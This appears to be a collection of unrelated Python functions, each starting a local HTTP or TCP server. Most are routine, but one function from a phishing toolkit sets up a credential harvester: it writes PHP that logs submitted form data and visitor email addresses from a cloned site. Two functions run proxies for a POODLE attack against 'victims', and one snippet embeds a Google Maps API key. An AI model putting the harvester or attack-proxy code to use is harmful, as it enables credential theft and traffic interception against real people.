def startServer(port): Handler = http.server.SimpleHTTPRequestHandler global server server = socketserver.TCPServer(("", port), Handler) print("Start server at port", port) server.serve_forever()
def main(): """Run a web-based admin interface. """ parser = optparse.OptionParser(version=pycms.VERSION, usage="Usage: %prog [options] htmlroot") parser.add_option( "-p", "--port", action="store", type="int", default=8001, help="The port to listen on. Default: 8001" ) options, args = parser.parse_args() if not len(args): parser.print_help() raise SystemExit INSTANCE[0] = pycms.Instance(args[0]) stderr.write("Created instance with htmlroot == '{}'\n".format(INSTANCE[0].htmlroot)) server = socketserver.TCPServer(("", options.port), PycmsWebAdminHandler) stderr.write("Serving at port {}\n".format(options.port)) server.serve_forever() return
def main(argv=None): logging.getLogger().setLevel(logging.DEBUG) logging.getLogger().handlers = [logging.StreamHandler()] parser = argparse.ArgumentParser(description='Record and suggest urls') parser.add_argument('--verbose', '-v', action='count', help='Verbose output') parser.add_argument('--port', '-p', default=8000, help='Server port') parser.add_argument('--csv', nargs='*', help='CSV files with a url stream to start from') args = parser.parse_args(argv) all_csvs = glob.glob('./data/Our own/*.csv') #all_csvs = glob.glob('./data/test/*.csv') #all_csvs = glob.glob('./data/*.csv') if args.csv is not None: all_csvs = all_csvs + args.csv if all_csvs is not None: start_from_csv(all_csvs) else: logging.debug("No log files :(") server = socketserver.TCPServer(("", args.port), MyRequestHandler) print("Serving at port {}".format(args.port)) print("CTRL-C to exit") server.serve_forever()
def main(cls, RequestHandlerClass, port=80): """Start server with handler on given port. This static method provides an easy way to start, run, and exit a HttpServer instance. The server will be executed if possible, and the computer's web browser will be directed to the address.""" try: server = cls(('', port), RequestHandlerClass) active = True except socket.error: active = False else: addr, port = server.socket.getsockname() print('Serving HTTP on', addr, 'port', port, '...') finally: port = '' if port == 80 else ':' + str(port) addr = 'http://localhost' + port + '/' webbrowser.open(addr) if active: try: server.serve_forever() except KeyboardInterrupt: print('Keyboard interrupt received: EXITING') finally: server.server_close()
def start_server(web_port, path): try: os.chdir(path) web_port = int(web_port) server = StoppableHttpServer(('', web_port), StoppableHttpRequestHandler) server.serve_forever() except: pass
def run(self): global runServer while runServer: try: server = http.server.HTTPServer(('', args.port), myHandler) print ('Starting httpserver on port ' , args.port) if not args.insecure: server.socket = ssl.wrap_socket (server.socket, certfile='/etc/ssl/localcerts/doorsserver065.cer', keyfile="/etc/ssl/localcerts/doorsserver065.key", server_side=True) server.serve_forever() except KeyboardInterrupt: print ('Keyboard Interupt') runServer=False except Exception as e: print(e,file=sys.stderr) try: server.server_close() print ('server was stopped at '+ time.asctime( time.localtime(time.time()))+' automatically due to error.') except Exception as e: print (e,"\n'server_close()' failed at "+time.asctime( time.localtime(time.time()))+".",file=sys.stderr) finally: try: server = http.server.HTTPServer(('', args.port), myHandler) if not args.insecure:server.socket = ssl.wrap_socket (server.socket, certfile='/etc/ssl/localcerts/doorsserver065.cer', keyfile="/etc/ssl/localcerts/doorsserver065.key", server_side=True) print ('Starting httpserver on port ' , args.port," at ", time.asctime( time.localtime(time.time()))) server.serve_forever() except KeyboardInterrupt: print ('Keyboard Interupt') runServer=False
def hilariously_edit(server_host, server_port, paths, exclude_paths, auth_type, on_save): server_ip = socket.gethostbyname(server_host) server_origin = 'http://localhost:' + str(server_port) sys.stdout.write('\nGo to:\n' + server_origin + '/\n\n') if auth_type in [None, 'none']: auth_token = None else: auth_token = create_token() auth_stdout = auth_type in ['stdout', 'copy-and-stdout'] clip_succeeded = False if auth_type in ['copy-or-stdout', 'copy-and-stdout', 'copy']: clip_result = copy_to_clipboard(auth_token) clip_succeeded = (clip_result != False) if auth_type in ['copy-or-stdout']: auth_stdout = not clip_succeeded if clip_succeeded: if auth_stdout: sys.stderr.write('Token has been copied to clipboard:\n') else: sys.stderr.write('Token has been copied to clipboard\n') else: sys.stderr.write('Copy failed\n') if auth_stdout: if not clip_succeeded: sys.stdout.write('Copy this auth token:\n') sys.stdout.write(auth_token + '\n') sys.stdout.flush() server = ThreadingHTTPServer( (server_ip, server_port), request_handler(server_origin, paths, exclude_paths, auth_token, on_save)) server.serve_forever()
def cmd_serve(parser): if not site.home(): sys.exit("Error: cannot locate the site's home directory.") if not os.path.exists(site.out()): sys.exit("Error: cannot locate the site's output directory.") os.chdir(site.out()) try: server = http.server.HTTPServer( (parser['host'], parser['port']), http.server.SimpleHTTPRequestHandler ) except PermissionError: sys.exit("Permission error: use 'sudo' to run on a port number below 1024.") address = server.socket.getsockname() print("-" * 80) print("Root: %s" % site.out()) print("Host: %s" % address[0]) print("Port: %s" % address[1]) print("Stop: Ctrl-C") print("-" * 80) if parser['browser']: webbrowser.open("http://%s:%s" % (parser['host'], parser['port'])) try: server.serve_forever() except KeyboardInterrupt: print("\n" + "-" * 80 + "Stopping server...\n" + "-" * 80) server.server_close()
def main(): try: server = http.server.HTTPServer(('', 8080), MyHandler) print("Serveur démarré.") server.serve_forever() except KeyboardInterrupt: print('Interruption du serveur.') server.socket.close()
def _serve(path, port): """Running web server in a background thread.""" print("running HTTP server on port %d..." % port) print('use Ctrl-Break to stop webserver') os.chdir(path) handler = http.server.SimpleHTTPRequestHandler server = socketserver.TCPServer(('', port), handler) server.serve_forever()
def main(): if len(sys.argv) != 2 or ":" not in sys.argv[1]: sys.exit("%s host:port" % sys.argv[0]) addr, port = sys.argv[1].split(":") print("listening on %s:%s" % (addr, port)) server = Server((addr, int(port)), HTTPRequestHandler) server.serve_forever()
def start_server(): """Start the server.""" server_address = ("", PORT) server = http.server.HTTPServer(server_address, TestHandler) try: server.serve_forever() except KeyboardInterrupt: server.socket.close()
def main(): try: server = http.server.HTTPServer(('', PORT), MyHandler) print('started httpserver... on port '+str(PORT)) server.serve_forever() except KeyboardInterrupt: print('^C received, shutting down server') server.socket.close()
def startWebService(): try: server = http.server.HTTPServer(('localhost',80),MyHandler) print("started http server....") server.serve_forever() except KeyboardInterrupt: print("shutdown web server") server.socket.close()
def main(): try: server = socketserver.TCPServer(("", 80), httpHandler) print ("AWWW YEAHHH!1") server.serve_forever() except KeyboardInterrupt: print ("WHY?! Service killed by keyboard :(") server.socket.close() print ("dead.")
def run_server(domain, port, request_handler): server = http.server.HTTPServer((domain, port), request_handler) print(time.asctime(), "Wires Server Start!") try: server.serve_forever() except KeyboardInterrupt: pass server.server_close() print(time.asctime(), "Wires Server Stop")
def ssltlsServer(victims, poodleManager): print("Starting SSL/TLS server on {}:{} forwarding to {}:{}".format(args.listen_host, args.listen_port_tls, args.target_host, args.target_port)) server = SSLTLSProxy((args.listen_host, int(args.listen_port_tls)), SSLTLSHandler) server.victims = victims server.poodleManager = poodleManager try: server.serve_forever() except KeyboardInterrupt: print("Shutdown of SSL/TLS server on user request")
def httpServer(victims, poodleManager): print("Starting HTTP server on {}:{} generating requests to {}".format(args.listen_host, args.listen_port_http, args.targetURL)) server = http.server.HTTPServer((args.listen_host, int(args.listen_port_http)), PoodleHTTPRequestHandler) server.victims = victims server.poodleManager = poodleManager try: server.serve_forever() except KeyboardInterrupt: print("Shutdown of HTTP server on user request")
def start_server(address, port, data_file): if os.path.isfile(data_file): with open(data_file) as f: public_key = rsa.PublicKey.load_pkcs1(_readblock(f.buffer)) data = _readblock(f.buffer) else: public_key = None data = None def _save(): with open(data_file, "w") as f: _writeblock(f.buffer, public_key.save_pkcs1()) _writeblock(f.buffer, data) class Handler(http.server.BaseHTTPRequestHandler): def do_PUT(self): try: nonlocal public_key, data r_public_key = rsa.PublicKey.load_pkcs1(_readblock(self.rfile), format="DER") r_signature = _readblock(self.rfile) r_message = _readblock(self.rfile) if public_key is not None and public_key != r_public_key: self.send_error(403) return try: rsa.verify(r_message, r_signature, r_public_key) except rsa.pkcs1.VerificationError: self.send_error(403) return public_key = r_public_key data = r_message _save() self.send_response(200) self.end_headers() except: traceback.print_exc() self.send_response(500) self.end_headers() def do_GET(self): if data is None: self.send_error(404) return self.send_response(200) self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) server = http.server.HTTPServer((address, port), Handler) server.serve_forever()
def main(): server = ThreadingSimpleServer((cfgoptions.host, cfgoptions.port), MyHandler) print('Started http server') try: # server.socket = ssl.wrap_socket (server.socket, keyfile='key.pem', certfile='cert.pem', server_side=True) # TODO: figure out why ssl is so slow :( server.serve_forever() except KeyboardInterrupt: print('^C received, shutting down server') server.socket.close()
def run(self): try: setproctitle.setproctitle('[CIF-SERVER] - API Server') except: pass self.logging.info("Starting api Server") # Run the api server server = HTTPServer((cif.options.host, cif.options.port), cif.api.Handler) server.serve_forever() sys.exit()
def httpd(args=sys.argv): try: #grab port from cmd line port = DEFAULT_PORT if len(args) < 2 else int(args[1]) server = http.server.HTTPServer(('', port), mHandler) print('Running HTTP Server on Port', port) server.serve_forever() except KeyboardInterrupt: print('Shutting Down Server...') server.socket.close()
def serve(): """local server""" os.chdir(env.deploy_path) PORT = 8000 class AddressReuseTCPServer(socketserver.TCPServer): allow_reuse_address = True server = AddressReuseTCPServer(('127.0.0.1', PORT), http.server.SimpleHTTPRequestHandler) sys.stderr.write('Serving on port {0} ...\n'.format(PORT)) server.serve_forever()
def main(): server = None try: port = GWD.get_config('port') server = socketserver.TCPServer(('', port), GWD) print('Listening on port ' + str(port)) server.serve_forever() except (KeyboardInterrupt, SystemExit) as e: sys.stderr.write(str(e) + '\n') if server != None: server.socket.close() print('Goodbye')
def run_server(): host = "0.0.0.0" socketserver.ThreadingMixIn.allow_reuse_address = True try: server = LocalPasteServer((host, args.port), LocalPasteHandler) log("Starting server... hit ctrl+c to exit") server.serve_forever() except KeyboardInterrupt as e: log("Stopping server...") server.shutdown() raise
def main(): if not os.path.isfile(cfgoptions.vlc): print('vlc not found.') return try: server = http.server.HTTPServer((cfgoptions.host, cfgoptions.port), MyHandler) # TODO: add multi threading print('Started http server') server.serve_forever() except KeyboardInterrupt: print('^C received, shutting down server') server.socket.close() return
def run_server(): socketserver.ThreadingMixIn.allow_reuse_address = True try: server = LocalPasteServer((args.listen_address, args.port), LocalPasteHandler) log("Starting server... hit ctrl+c to exit") if args.user: drop_privileges(args.user) server.serve_forever() except KeyboardInterrupt as e: log("Stopping server...") server.shutdown() raise
def main(self): port = DEFAULT_PORT print("Starting HMAT Web Server at:\n\n" "\thttp://{addr}:{port}\n\n".format(addr=self.get_my_ip(), port=port)) # run the server server_address = ("", port) try: server = http.server.HTTPServer(server_address, RemoteWebHandler) server.serve_forever() except KeyboardInterrupt: print("^C received, shutting down server") server.socket.close()
def runHTTPServer ( ): PORT_NUMBER = utils.serverport try: #Create a web server and define the handler to manage the incoming request server = http.server.HTTPServer(('', PORT_NUMBER), HTTPHandler) utils.verboseOutput(0,"Starting httpserver on port " + str(PORT_NUMBER) + ", use <Ctrl-C> to stop") #Wait forever for incoming http requests server.serve_forever() except KeyboardInterrupt: utils.verboseOutput(0,"<Ctrl-C> received, shutting down the web server") server.socket.close() return
def main(): args = getArguments() if not args.port: print("ERROR: A server port must be specified with the --port argument.", file=sys.stderr) return port = args.port print("Starting HTTP server on port {}".format(port)) serverAddress = ("", port) server = http.server.HTTPServer(serverAddress , RequestHandler) server.serve_forever()
def run_server(tester): """Starts the server to convey results""" server = Server(tester) server.serve_forever()
def run(): # check if we are not running apache mode if apache_check == False: try: server = ThreadedHTTPServer(('', int(web_port)), SETHandler) server.serve_forever() # handle keyboard interrupts except KeyboardInterrupt: os.chdir(homepath) try: visits.close() bites.close() except: pass if attack_vector != 'multiattack': try: module_reload(src.webattack.harvester.report_generator) except: import src.webattack.harvester.report_generator if attack_vector != 'multiattack': return_continue() os.chdir(homepath) httpd.socket.close() # handle the rest except Exception as e: print( bcolors.RED + "[*] Looks like the web_server can't bind to 80. Are you running Apache?" + bcolors.ENDC) apache_stop = input( "Do you want to attempt to disable Apache? [y/n]: ") apache_counter = 0 if apache_stop == "yes" or apache_stop == "y" or apache_stop == "": if os.path.isfile("/etc/init.d/apache2"): subprocess.Popen("/etc/init.d/apache2 stop", shell=True).wait() apache_counter = 1 if os.path.isfile("/etc/init.d/httpd"): subprocess.Popen("/etc/init.d/httpd stop", shell=True).wait() apache_counter = 1 if apache_counter == 1: # check if we are running apache mode print_status( "Successfully stopped Apache. Starting the credential harvester." ) print_status( "Harvester is ready, have victim browse to your site.") if apache_check == False: try: try: server = ThreadedHTTPServer(('', int(web_port)), SETHandler) server.serve_forever() # handle keyboard interrupts except KeyboardInterrupt: os.chdir(homepath) try: visits.close() bites.close() except: pass if attack_vector != 'multiattack': sys.path.append("src/harvester") from . import report_generator if attack_vector != 'multiattack': return_continue() os.chdir(homepath) httpd.socket.close() except Exception: apache_counter = 0 if apache_counter == 0: print(bcolors.GREEN + "[*] Try disabling Apache and try SET again." + bcolors.ENDC) print("[*] Printing error: " + str(e) + "\n") return_continue() exit_set() # if we are using apache, then use the harvester php type that writes it out to post.php # note just change the index.html to post somewhere else and rename the # post.php to something else if apache_check == True: try: ipaddr = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ipaddr.connect(('127.0.0.1', int(web_port))) ipaddr.settimeout(2) if ipaddr: pass except Exception as e: if os.path.isfile("/etc/init.d/apache2"): apache_start = input( "[!] Apache may be not running, do you want SET to start the process? [y/n]: " ) if apache_start == "y": subprocess.Popen("/etc/init.d/apache2 start", shell=True).wait() try: apache_dir = check_config("APACHE_DIRECTORY=") if os.path.isdir(apache_dir + "/html"): apache_dir = apache_dir + "/html" print( bcolors.GREEN + "Apache webserver is set to ON. Copying over PHP file to the website." ) except Exception as e: print(e) print( "Please note that all output from the harvester will be found under apache_dir/harvester_date.txt" ) print("Feel free to customize post.php in the %s directory" % (apache_dir) + bcolors.ENDC) filewrite = open("%s/post.php" % (apache_dir), "w") now = datetime.datetime.today() filewrite.write( """<?php $file = 'harvester_%s.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=%s" />""" % (now, RAW_URL)) filewrite.close() if os.path.isdir("/var/www/html"): logpath = ("/var/www/html") filewrite = open("%s/harvester_%s.txt" % (logpath, now), "w") filewrite.write("") filewrite.close() # Check sys platform to perform chown if sys.platform == "darwin": subprocess.Popen("chown _www:_www '%s/harvester_%s.txt'" % (logpath, now), shell=True).wait() else: subprocess.Popen("chown www-data:www-data '%s/harvester_%s.txt'" % (logpath, now), shell=True).wait() # if we are using webjacking, etc. if os.path.isfile(setdir + "/web_clone/index2.html"): # need to copy the files over - remove the old one first if there if os.path.isfile(apache_dir + "/index2.html"): os.remove(apache_dir + "/index2.html") shutil.copyfile(setdir + "/web_clone/index2.html", apache_dir + "/index2.html") # here we specify if we are tracking users and such if track_email == True: fileopen = open(setdir + "/web_clone/index.html", "r") data = fileopen.read() data = data.replace( "<body>", """<body><?php $file = 'harvester_%s.txt'; $queryString = ''; foreach ($_GET as $key => $value) { $queryString .= $key . '=' . $value . '&';}$query_string = base64_decode($queryString);file_put_contents($file, print_r("Email address recorded: " . $query_string . "\\n", true), FILE_APPEND);?>""" % (now)) filewrite = open(setdir + "/web_clone/index.2", "w") filewrite.write(data) filewrite.close() os.remove(setdir + "/web_clone/index.html") shutil.copyfile(setdir + "/web_clone/index.2", setdir + "/web_clone/index.html") # copy the entire web_clone directory. # Without this only index.php|html are copied even though the user # may have chosen to import the entire directory in the set module. copyfolder(setdir + "/web_clone", apache_dir) if os.path.isfile("%s/index.html" % (apache_dir)): os.remove("%s/index.html" % (apache_dir)) if track_email == False: shutil.copyfile(setdir + "/web_clone/index.html", "%s/index.html" % (apache_dir)) if track_email == True: shutil.copyfile(setdir + "/web_clone/index.html", "%s/index.php" % (apache_dir)) print_status( "NOTE: The URL to click on is index.php NOT index.html with track emails." ) print_status("All files have been copied to %s" % (apache_dir)) if attack_vector != 'multiattack': pause = input("{Press return to continue}")
def __init__(self): CGIXMLRPCRequestHandler.__init__(self) XMLRPCDocGenerator.__init__(self) if __name__ == '__main__': import datetime class ExampleService: def getData(self): return '42' class currentTime: @staticmethod def getCurrentTime(): return datetime.datetime.now() with SimpleXMLRPCServer(("localhost", 8000)) as server: server.register_function(pow) server.register_function(lambda x,y: x+y, 'add') server.register_instance(ExampleService(), allow_dotted_names=True) server.register_multicall_functions() print('Serving XML-RPC on localhost port 8000') print('It is advisable to run this example server within a secure, closed network.') try: server.serve_forever() except KeyboardInterrupt: print("\nKeyboard interrupt received, exiting.") sys.exit(0)
def start_server(): PORT = 3280 server = http.server.HTTPServer(('192.168.1.15', PORT), P2Server) print('Project 2 {}; Type <Ctrl-C> to stop server.'.format(PORT)) server.serve_forever()
def start_server(bind="", port=8080): server = http.server.HTTPServer((bind, port), Handler) server.serve_forever()
def callback(parser): if parser['ssl-cert']: certfile = os.path.abspath(parser['ssl-cert']) if not os.path.exists(certfile): sys.exit("Error: certificate '%s' does not exist." % certfile) else: certfile = None if parser['ssl-key']: keyfile = os.path.abspath(parser['ssl-key']) if not os.path.exists(keyfile): sys.exit("Error: key file '%s' does not exist." % keyfile) else: keyfile = None if parser['directory']: dirpath = os.path.abspath(parser['directory']) if not os.path.exists(dirpath): sys.exit("Error: directory '%s' does not exist." % dirpath) os.chdir(dirpath) else: if not site.home(): sys.exit("Error: cannot locate the site's home directory.") if not os.path.exists(site.out()): sys.exit("Error: cannot locate the site's output directory.") os.chdir(site.out()) try: server = http.server.HTTPServer((parser['host'], parser['port']), http.server.SimpleHTTPRequestHandler) except PermissionError: sys.exit("Error: use 'sudo' to run on a port below 1024.") except OSError: sys.exit("Error: port already in use. Choose a different port.") if certfile: server.socket = ssl.wrap_socket(server.socket, keyfile=keyfile, certfile=certfile, server_side=True) protocol = "https" else: protocol = "http" address = server.socket.getsockname() if parser['browser']: try: browser = webbrowser.get(parser['browser']) except webbrowser.Error: sys.exit("Error: cannot locate browser '%s'." % parser['browser']) browser.open("%s://%s:%s" % (protocol, parser['host'], address[1])) elif not parser['no-browser']: webbrowser.open("%s://%s:%s" % (protocol, parser['host'], address[1])) utils.termline() print("Root: %s" % site.out()) print("Host: %s" % address[0]) print("Port: %s" % address[1]) print("Stop: Ctrl-C") utils.termline() try: server.serve_forever() except KeyboardInterrupt: print() utils.termline() print("Stopping server...") utils.termline() server.server_close()
def help_server(bot): server = http.server.HTTPServer(('0.0.0.0', 8888), build_request_handler(bot)) server.serve_forever()
def stream_video(server): server.serve_forever()
def start_server(server): try: server.serve_forever() except Exception as exp: pass
def start_server(server): server.serve_forever()
def __init__(self): server = http.server.HTTPServer(('', 8088), myHandler) server.serve_forever()
def main(): handler = partial(ChartServerHandler, pg_connect()) server = http.server.HTTPServer(('localhost', 32155), handler) print('Starting server at port 32155') server.serve_forever()
def serve_webpages(port): handler = http.server.SimpleHTTPRequestHandler server = socketserver.TCPServer(("0.0.0.0", port), handler) print("Starting server at port %d" % port) server.serve_forever()
def run_server(server): Thread(target=lambda: server.serve_forever()).start()
def start(port, callback): def handler(*args): CallbackServer(callback, *args) server = http.server.HTTPServer(('', int(port)), handler) server.serve_forever()
def main(): port = 8080 print('Listening on :%s' % port) server = socketserver.TCPServer(('', port), RequestHandler) server.serve_forever()
def run(db_path): global database database = Database(db_path) with http.server.ThreadingHTTPServer(('', 8000), ServerHandler) as server: server.serve_forever()
def run(self): print('stream') from http import server logger.info('start streaming') PAGE = """\ <html> <head> <title>Raspberry Pi - Surveillance Camera</title> </head> <body> <center><h1>Raspberry Pi - Surveillance Camera</h1></center> <center><img src="stream.mjpg" width="640" height="480"></center> </body> </html> """ class StreamingHandler(server.BaseHTTPRequestHandler): def do_GET(self): if self.path == '/': self.send_response(301) self.send_header('Location', '/index.html') self.end_headers() elif self.path == '/index.html': content = PAGE.encode('utf-8') self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', len(content)) self.end_headers() self.wfile.write(content) elif self.path == '/stream.mjpg': self.send_response(200) self.send_header('Age', 0) self.send_header('Cache-Control', 'no-cache, private') self.send_header('Pragma', 'no-cache') self.send_header( 'Content-Type', 'multipart/x-mixed-replace; boundary=FRAME') self.end_headers() try: while True: frame = output.frame self.wfile.write(b'--FRAME\r\n') self.send_header('Content-Type', 'image/jpeg') self.send_header('Content-Length', len(frame)) self.end_headers() self.wfile.write(frame) self.wfile.write(b'\r\n') except Exception as e: logger.info('Removed streaming client %s: %s', self.client_address, str(e)) print('Removed streaming client %s: %s', self.client_address, str(e)) else: self.send_error(404) self.end_headers() class StreamingServer(socketserver.ThreadingMixIn, server.HTTPServer): allow_reuse_address = True daemon_threads = True try: address = ('192.168.0.XXX', 8000) server = StreamingServer(address, StreamingHandler) server.serve_forever() finally: print('stop server')
def start_server(): print("Starting server port: ", PORT) thread = threading.Thread(target=server.serve_forever()) thread.daemon = True thread.start()
def tcp_listen_python3(self, listen_ssl=False): """Open a TCP socket on a given port and print incoming data to stdout.""" class DeenTcpHandler(socketserver.StreamRequestHandler): def handle(self): self.data = self.rfile.readline().strip() print(self.data.decode()) class TcpServerSsl(socketserver.TCPServer): def __init__(self, server_address, RequestHandlerClass, certfile, keyfile, ssl_version=ssl.PROTOCOL_TLS_SERVER, bind_and_activate=True): socketserver.TCPServer.__init__(self, server_address, RequestHandlerClass, bind_and_activate) self.certfile = certfile self.keyfile = keyfile self.ssl_version = ssl_version def get_request(self): newsocket, fromaddr = self.socket.accept() connstream = ssl.wrap_socket(newsocket, server_side=True, certfile=self.certfile, keyfile=self.keyfile, ssl_version=self.ssl_version) return connstream, fromaddr server = None if listen_ssl: # The certificate chain and private key need to # be available as actual files that can be opened # with fopen(3). with tempfile.TemporaryDirectory() as tmpdirname: cert_chain = tmpdirname + '/cert_chain.pem' server_key = tmpdirname + '/server_key.pem' with open(cert_chain, 'wb') as f: f.write(self.server_cert_pem) with open(server_key, 'wb') as f: f.write(self.server_key_pem) try: server = TcpServerSsl(self.listen_socket, DeenTcpHandler, cert_chain, server_key) except OSError as e: self.error = e self.log.error(self.error) self.log.debug(self.error, exc_info=True) return else: try: server = socketserver.TCPServer(self.listen_socket, DeenTcpHandler) except OSError as e: self.error = e self.log.error(self.error) self.log.debug(self.error, exc_info=True) return message = 'Listening on TCP port ' + str(self.listen_port) if listen_ssl: message += ' (SSL)' print(message) try: server.serve_forever() except KeyboardInterrupt: pass
def target(): server.serve_forever()
def server_run(): # log.debug('starting server') server.serve_forever()
def main(RequestHandlerClass=ScheduleRequestHandler): usage = """%prog [options] [<input GTFS.zip>] Runs a webserver that lets you explore a <input GTFS.zip> in your browser. If <input GTFS.zip> is omited the filename is read from the console. Dragging a file into the console may enter the filename. For more information see https://github.com/google/transitfeed/wiki/ScheduleViewer """ parser = util.OptionParserLongError(usage=usage, version="%prog " + transitfeed.__version__) parser.add_option( "--feed_filename", "--feed", dest="feed_filename", help="file name of feed to load", ) parser.add_option( "--key", dest="key", help="Google Maps API key or the name " "of a text file that contains an API key", ) parser.add_option("--host", dest="host", help="Host name of Google Maps") parser.add_option("--port", dest="port", type="int", help="port on which to listen") parser.add_option("--file_dir", dest="file_dir", help="directory containing static files") parser.add_option( "-n", "--noprompt", action="store_false", dest="manual_entry", help="disable interactive prompts", ) parser.set_defaults( port=8765, host="maps.google.com", file_dir=FindDefaultFileDir(), manual_entry=True, ) (options, args) = parser.parse_args() if not os.path.isfile(os.path.join(options.file_dir, "index.html")): print("Can't find index.html with --file_dir=%s" % options.file_dir) exit(1) if not options.feed_filename and len(args) == 1: options.feed_filename = args[0] if not options.feed_filename and options.manual_entry: options.feed_filename = input("Enter Feed Location: ").strip('"') default_key_file = GetDefaultKeyFilePath() if not options.key and os.path.isfile(default_key_file): options.key = open(default_key_file).read().strip() if options.key and os.path.isfile(options.key): options.key = open(options.key).read().strip() # This key is registered to [email protected] if not options.key: options.key = "AIzaSyAZTTRO6RC6LQyKCD3JODhxbClsZl95P9U" util.CheckVersion(transitfeed.ProblemReporter()) schedule = transitfeed.Schedule( problem_reporter=transitfeed.ProblemReporter()) print('Loading data from feed "%s"...' % options.feed_filename) print("(this may take a few minutes for larger cities)") schedule.Load(os.path.expanduser(options.feed_filename)) server = StoppableHTTPServer( server_address=("", options.port), RequestHandlerClass=RequestHandlerClass, ) server.key = options.key server.schedule = schedule server.file_dir = options.file_dir server.host = options.host server.feed_path = options.feed_filename print("To view, point your browser at http://localhost:%d/" % (server.server_port)) server.serve_forever()
def run(self): start_http_server(8000) server = http.server.HTTPServer(('localhost', 8001), MyHandler) server.serve_forever()
def start_server(web_port, path): os.chdir(path) web_port = int(web_port) server = StoppableHttpServer(('', web_port), StoppableHttpRequestHandler) server.serve_forever()
def build_bib(args, file_name, output): """Parse and process files, including new ones encountered if chasing""" links = [] # list of other files encountered in the mind map done = [] # list of files processed, kept to prevent loops entries = dict() # dict of {id : {entry}}, by insertion order mm_files = [ file_name, ] # list of file encountered (e.g., chase option) # debug(f" mm_files = {mm_files}") while mm_files: mm_file = os.path.abspath(mm_files.pop()) # debug(f" parsing {mm_file}") try: doc = parse(mm_file).getroot() except OSError as err: debug(f" failed to parse {mm_file} because of {err}") continue # debug(f" successfully parsed {mm_file}") entries, links = walk_freeplane(doc, mm_file, entries, links=[]) # debug(" done.appending %s" % os.path.abspath(mm_file)) done.append(mm_file) if args.chase: # debug("chasing") for link in links: link = os.path.abspath(os.path.dirname(mm_file) + "/" + link) if link not in done and link not in mm_files: if not any( [word in link for word in ("syllabus", "readings")]): # 'old' # debug(f" mm_files.appending {link}") mm_files.append(link) if args.query: # debug("querying") results_file_name = f"{config.TMP_DIR}query-thunderdell.html" if os.path.exists(results_file_name): os.remove(results_file_name) try: results_file = open(results_file_name, "w", encoding="utf-8") except OSError as err: print(f"{err}") print(f"There was an error writing to {results_file_name}") raise results_file.write(RESULT_FILE_HEADER) results_file.write(RESULT_FILE_QUERY_BOX % (args.query, args.query)) emit_results(args, entries, args.query, results_file) results_file.write("</ul></body></html>\n") results_file.close() # debug(f"{results_file=}") if args.in_main: ADDRESS_IN_USE = False os.chdir(config.CGI_DIR + "/..") handler = http.server.CGIHTTPRequestHandler handler.cgi_directories = ["/cgi-bin"] try: server = http.server.HTTPServer(("localhost", 8000), handler) except OSError as error: if error.errno == errno.EADDRINUSE: ADDRESS_IN_USE = True print(f"address in use") else: raise # below runs the query twice I think, but still fast webbrowser.open( f"http://localhost:8000/cgi-bin/search.cgi?query={args.query}") if not ADDRESS_IN_USE: server.serve_forever() elif args.pretty: results_file_name = f"{config.TMP_DIR}pretty-print.html" try: results_file = open(results_file_name, "w", encoding="utf-8") except OSError as err: print(f"{err}") print(f"There was an error writing to {results_file_name}") raise results_file.write(RESULT_FILE_HEADER) results_file.write(" <title>Pretty Mind Map</title></head>" '<body>\n<ul class="top">\n') for entry in list(entries.values()): args.query = entry["identifier"] emit_results(args, entries, args.query, results_file) results_file.write("</ul></body></html>\n") results_file.close() if args.in_main: webbrowser.open(f"file://{results_file_name}") else: output(args, entries) return
def run(self): with http.server.HTTPServer(("", WEB_PORT), Handler) as server: server.serve_forever()
def serve(args): # pragma: no cover server = http.server.HTTPServer(args.bind, Handler) server.serve_forever()
def start(klass,port=80,asynch=True): if asynch: server=HTTPServer(('',port),klass) else: server=http.server.HTTPServer(('',port),klass) server.serve_forever()
def start_server(): """Start the server.""" server_address = ("", PORT) server = http.server.HTTPServer(server_address, TestHandler) server.serve_forever()